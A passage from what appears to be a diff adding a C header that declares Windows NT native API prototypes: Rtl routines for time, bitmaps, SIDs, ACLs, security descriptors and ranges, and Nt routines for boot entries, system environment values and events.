); + +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime ( + IN PLARGE_INTEGER LocalTime, + OUT PLARGE_INTEGER SystemTime + ); + +VOID +NTAPI +RtlTimeToElapsedTimeFields ( + IN PLARGE_INTEGER Time, + OUT PTIME_FIELDS TimeFields + ); + +VOID +NTAPI +RtlTimeToTimeFields ( + PLARGE_INTEGER Time, + PTIME_FIELDS TimeFields + ); + +BOOLEAN +NTAPI +RtlTimeFieldsToTime ( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1980ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1970ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + OUT PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + IN PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetActiveTimeBias( + IN LONG ActiveBias + ); + +VOID +NTAPI +RtlInitializeBitMap ( + PRTL_BITMAP BitMapHeader, + PULONG BitMapBuffer, + ULONG SizeOfBitMap + ); + +VOID +NTAPI +RtlClearBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlSetBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +BOOLEAN +NTAPI +RtlTestBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlClearAllBits ( + PRTL_BITMAP BitMapHeader + ); + +VOID +NTAPI +RtlSetAllBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlFindClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindClearBitsAndSet ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBitsAndClear ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +VOID +NTAPI +RtlClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToClear + ); + +VOID +NTAPI +RtlSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToSet + ); + +ULONG +NTAPI +RtlFindClearRuns ( + PRTL_BITMAP BitMapHeader, + PRTL_BITMAP_RUN RunArray, + ULONG SizeOfRunArray, + BOOLEAN LocateLongestRuns + ); + +ULONG +NTAPI +RtlFindLongestRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlFindFirstRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlNumberOfClearBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlNumberOfSetBits ( + PRTL_BITMAP BitMapHeader + ); + +BOOLEAN +NTAPI +RtlAreBitsClear ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +BOOLEAN +NTAPI +RtlAreBitsSet ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +ULONG +NTAPI +RtlFindNextForwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +ULONG +NTAPI +RtlFindLastBackwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +CCHAR +NTAPI +RtlFindLeastSignificantBit ( + IN ULONGLONG Set + ); + +CCHAR +NTAPI +RtlFindMostSignificantBit ( + IN ULONGLONG Set + ); + +BOOLEAN +NTAPI +RtlValidSid ( + PSID Sid + ); + +BOOLEAN +NTAPI +RtlEqualSid ( + PSID Sid1, + PSID Sid2 + ); + +BOOLEAN +NTAPI +RtlEqualPrefixSid ( + PSID Sid1, + PSID Sid2 + ); + +ULONG +NTAPI +RtlLengthRequiredSid ( + ULONG SubAuthorityCount + ); + +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlInitializeSid( + OUT PSID Sid, + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount + ); + +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid ( + PSID Sid + ); + +PULONG +NTAPI +RtlSubAuthoritySid( + IN PSID Sid, + IN ULONG SubAuthority + ); + +PUCHAR +NTAPI +RtlSubAuthorityCountSid ( + PSID Sid + ); + +ULONG +NTAPI +RtlLengthSid ( + PSID Sid + ); + +NTSTATUS +NTAPI +RtlCopySid ( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid + ); + +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray ( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID *NextTargetSid, + PULONG RemainingTargetSidSize + ); + +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength + ); + +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + +VOID +NTAPI +RtlCopyLuid ( + PLUID DestinationLuid, + PLUID SourceLuid + ); + +VOID +NTAPI +RtlCopyLuidAndAttributesArray ( + ULONG ArrayLength, + PLUID_AND_ATTRIBUTES Source, + PLUID_AND_ATTRIBUTES Target + ); + +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +VOID +NTAPI +RtlMapGenericMask( + PACCESS_MASK AccessMask, + PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlCreateAcl( + OUT PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + +BOOLEAN +NTAPI +RtlValidAcl( + PACL Acl + ); + +NTSTATUS +NTAPI +RtlQueryInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlSetInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlAddAce( + PACL Acl, + ULONG AceRevision, + ULONG StartingAceIndex, + PVOID AceList, + ULONG AceListLength + ); + +NTSTATUS +NTAPI +RtlDeleteAce( + PACL Acl, + ULONG AceIndex + ); + +NTSTATUS +NTAPI +RtlGetAce( + PACL Acl, + ULONG AceIndex, + PVOID *Ace + ); + +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID Owner, + IN OPTIONAL BOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Owner, + OUT PBOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +BOOLEAN +NTAPI +RtlFirstFreeAce( + PACL Acl, + PVOID *FirstFree + ); + +NTSTATUS +NTAPI +RtlAddCompoundAce( + IN PACL Acl, + IN ULONG AceRevision, + IN UCHAR AceType, + IN ACCESS_MASK AccessMask, + IN PSID ServerSid, + IN PSID ClientSid + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptorRelative( + PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor, + ULONG Revision + ); + +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +ULONG +NTAPI +RtlLengthSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptorInput, + IN ULONG SecurityDescriptorLength, + IN SECURITY_INFORMATION RequiredInformation + ); + +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSECURITY_DESCRIPTOR_CONTROL Control, + PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR pSecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet + ); + +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL Control, + IN OUT PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN DaclPresent, + PACL Dacl, + BOOLEAN DaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN DaclPresent, + OUT PACL *Dacl, + OUT PBOOLEAN DaclDefaulted + ); + +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PUCHAR RMControl + ); + +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PUCHAR RMControl OPTIONAL + ); + +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN SaclPresent, + PACL Sacl, + BOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN SaclPresent, + OUT PACL *Sacl, + OUT PBOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor ( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Group OPTIONAL, + IN BOOLEAN GroupDefaulted OPTIONAL + ); + +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Group, + OUT PBOOLEAN GroupDefaulted + ); + +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD ( + IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + IN OUT PULONG AbsoluteSecurityDescriptorSize, + OUT OPTIONAL PACL Dacl, + IN OUT PULONG DaclSize, + OUT OPTIONAL PACL Sacl, + IN OUT PULONG SaclSize, + OUT OPTIONAL PSID Owner, + IN OUT PULONG OwnerSize, + OUT OPTIONAL PSID PrimaryGroup, + IN OUT PULONG PrimaryGroupSize + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2 ( + IN OUT PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + IN OUT PULONG pBufferSize + ); + +NTSTATUS +NTAPI +RtlNewSecurityGrantedAccess ( + ACCESS_MASK DesiredAccess, + PPRIVILEGE_SET Privileges, + PULONG Length, + HANDLE Token, + PGENERIC_MAPPING GenericMapping, + PACCESS_MASK RemainingDesiredAccess + ); + +NTSTATUS +NTAPI +RtlMapSecurityErrorToNtStatus ( + SECURITY_STATUS Error + ); + +NTSTATUS +NTAPI +RtlImpersonateSelf ( + IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel + ); + +NTSTATUS +NTAPI +RtlAdjustPrivilege ( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled + ); + +NTSTATUS +NTAPI +RtlAcquirePrivilege ( + PULONG Privilege, + ULONG NumPriv, + ULONG Flags, + PVOID *ReturnedState + ); + +VOID +NTAPI +RtlReleasePrivilege ( + PVOID StatePointer + ); + +VOID +NTAPI +RtlRunEncodeUnicodeString( + PUCHAR Seed OPTIONAL, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlRunDecodeUnicodeString( + UCHAR Seed, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlEraseUnicodeString( + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlFindMessage( + PVOID DllHandle, + ULONG MessageTableId, + ULONG MessageLanguageId, + ULONG MessageId, + PMESSAGE_RESOURCE_ENTRY *MessageEntry + ); + +NTSTATUS +NTAPI +RtlFormatMessage( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlFormatMessageEx( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength, + OUT OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext + ); + +NTSTATUS +NTAPI +RtlInitializeRXact( + IN HANDLE RootRegistryKey, + IN BOOLEAN CommitIfNecessary, + OUT PRTL_RXACT_CONTEXT *RXactContext + ); + +NTSTATUS +NTAPI +RtlStartRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAbortRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAddAttributeActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN HANDLE KeyHandle, + IN PUNICODE_STRING AttributeName, + IN ULONG NewValueType, + IN PVOID NewValue, + IN ULONG NewValueLength + ); + +NTSTATUS +NTAPI +RtlAddActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN ULONG NewKeyValueType, + IN PVOID NewKeyValue OPTIONAL, + IN ULONG NewKeyValueLength + ); + +NTSTATUS +NTAPI +RtlApplyRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlApplyRXactNoFlush( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +ULONG +NTAPI +RtlNtStatusToDosError ( + NTSTATUS Status + ); + +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb ( + NTSTATUS Status + ); + +PPEB +RtlGetCurrentPeb ( + VOID + ); + +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + IN PCPTABLEINFO CustomCP, + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH CustomCPString, + IN ULONG BytesInCustomCPString + ); + +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +VOID +NTAPI +RtlInitCodePageTable( + IN PUSHORT TableBase, + OUT PCPTABLEINFO CodePageTable + ); + +VOID +NTAPI +RtlInitNlsTables( + IN PUSHORT AnsiNlsBase, + IN PUSHORT OemNlsBase, + IN PUSHORT LanguageNlsBase, + OUT PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlResetRtlTranslations( + PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlGetDefaultCodePage( + OUT PUSHORT AnsiCodePage, + OUT PUSHORT OemCodePage + ); + +VOID +NTAPI +RtlInitializeRangeList( + IN OUT PRTL_RANGE_LIST RangeList + ); + +VOID +NTAPI +RtlFreeRangeList( + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlCopyRangeList( + OUT PRTL_RANGE_LIST CopyRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlAddRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN UCHAR Attributes, + IN ULONG Flags, + IN PVOID UserData, OPTIONAL + IN PVOID Owner OPTIONAL + ); + +NTSTATUS +NTAPI +RtlDeleteRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlDeleteOwnersRanges( + IN OUT PRTL_RANGE_LIST RangeList, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlFindRange( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Minimum, + IN ULONGLONG Maximum, + IN ULONG Length, + IN ULONG Alignment, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PULONGLONG Start + ); + +NTSTATUS +NTAPI +RtlIsRangeAvailable( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PBOOLEAN Available + ); + +NTSTATUS +NTAPI +RtlGetFirstRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetLastRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetNextRange( + IN OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range, + IN BOOLEAN MoveForwards + ); + +NTSTATUS +NTAPI +RtlMergeRangeLists( + OUT PRTL_RANGE_LIST MergedRangeList, + IN PRTL_RANGE_LIST RangeList1, + IN PRTL_RANGE_LIST RangeList2, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlInvertRangeList( + OUT PRTL_RANGE_LIST InvertedRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlVolumeDeviceToDosName( + IN PVOID VolumeDeviceObject, + OUT PUNICODE_STRING DosName + ); + +NTSTATUS +NTAPI +RtlCreateSystemVolumeInformationFolder( + IN PUNICODE_STRING VolumeRootPath + ); + +#if defined(_WINNT_) && (_MSC_VER < 1300) +typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW; +typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW; + +typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo ); +typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID); + +typedef const GUID *LPCGUID; + +#endif + +NTSTATUS +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +RtlVerifyVersionInfo( + IN PRTL_OSVERSIONINFOEXW VersionInfo, + IN ULONG TypeMask, + IN ULONGLONG ConditionMask + ); + +BOOLEAN +RtlFlushSecureMemoryCache( + PVOID lpAddr, + SIZE_T size + ); + +LONG +NTAPI +RtlGetLastWin32Error( + VOID + ); + +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + +VOID +NTAPI +RtlSetLastWin32Error( + LONG Win32Error + ); + +VOID +NTAPI +RtlRestoreLastWin32Error( + LONG Win32Error + ); + +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + IN HANDLE Handle, + IN BOOLEAN Get, + IN RTL_BSD_ITEM_TYPE DataItem, + IN PVOID DataBuffer, + IN ULONG DataBufferLength, + OUT PULONG ByteRead OPTIONAL + ); + +NTSTATUS +NTAPI +RtlLockBootStatusData( + OUT PHANDLE BootStatusDataHandle + ); + +VOID +NTAPI +RtlUnlockBootStatusData( + IN HANDLE BootStatusDataHandle + ); + +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID + ); + +// + +// +// begin_ntapi +NTSTATUS +NTAPI +NtDelayExecution( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteBootEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + +NTSTATUS +NTAPI +NtSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + +NTSTATUS +NTAPI +NtTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + +NTSTATUS +NTAPI +NtAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteDriverEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + 